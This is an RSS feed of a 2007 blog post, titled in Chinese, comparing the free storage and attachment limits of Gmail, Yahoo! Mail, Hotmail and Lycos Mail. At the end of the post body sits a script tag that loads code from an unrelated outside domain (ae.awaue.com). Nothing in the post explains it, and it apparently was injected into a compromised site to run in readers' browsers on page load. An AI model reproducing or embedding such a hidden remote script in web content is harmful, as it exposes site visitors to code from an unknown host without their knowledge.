<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sputh.net &#187; email</title>
	<atom:link href="http://sputh.net/archives/tag/email/feed" rel="self" type="application/rss+xml" />
	<link>http://sputh.net</link>
	<description></description>
	<lastBuildDate>Sat, 29 May 2010 15:15:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>伟大的免费信箱,伟大的免费容量</title>
		<link>http://sputh.net/archives/134.mt</link>
		<comments>http://sputh.net/archives/134.mt#comments</comments>
		<pubDate>Sun, 25 Nov 2007 07:52:54 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[网络应用]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[freemail]]></category>
		<category><![CDATA[gmail]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://sputh.net/archives/134.mt</guid>
		<description><![CDATA[ The current mail storage in GMail is 5GB (and counting), comparing to early this year it was only 2.8Gb (February 2007). If the pace of the increment grow steadily, we’ll be expecting a 10Gb mail storage in the next 2 or 3 years time or Google might probably go unlimited storage like Yahoo!. Yahoo! Mail started [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://sputh.net/wp-content/uploads/2007/11/gmail-5gb.png"><img src="http://sputh.net/wp-content/uploads/2007/11/gmail-5gb.png" /></a><br class="webkit-block-placeholder" /><a href="http://sputh.net/wp-content/uploads/2007/11/gmail-5gb.png"></a> The current mail storage in GMail is 5GB (and counting), comparing to early this year it was only 2.8Gb (February 2007). If the pace of the increment grow steadily, we’ll be expecting a 10Gb mail storage in the next 2 or 3 years time or Google might probably go unlimited storage like Yahoo!. <a href="http://sputh.net/wp-content/uploads/2007/11/yahoo-unlimited.png"></a><a href="http://sputh.net/wp-content/uploads/2007/11/yahoo-unlimited.png"><img src="http://sputh.net/wp-content/uploads/2007/11/yahoo-unlimited.png" /></a><br class="webkit-block-placeholder" />Yahoo! Mail started off exactly 10 years ago offering 4Mb for each free mail account, today they are already going unlimited mail storage. That is really a bar very hard to match for its competitors.<span style="font-weight: bold" class="Apple-style-span"> </span><span style="font-weight: bold" class="Apple-style-span">Other free mail providers</span>Hotmail / Windows Live Mail on the other hand is giving 5Gb free mail storage, while Lycos Mail is throwing in 3Gb. Here’s something interesting about Lycos mail &#8211; unlimited attachment size.Here’s a brief run down on these four major free mail provider’s mail storage capacity as well as attachment limit. Please correct me on the figures if I’m wrong. 
<ul>
<li>GMail : 5Gb / 20Mb attachment size</li>
<li>Yahoo! Mail: Unlimited / 10Mb attachment size</li>
<li>Hotmail : 5Gb / 10Mb attachment size</li>
<li>Lycos Mail : 3Gb / Unlimited attachment size</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://sputh.net/archives/134.mt/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
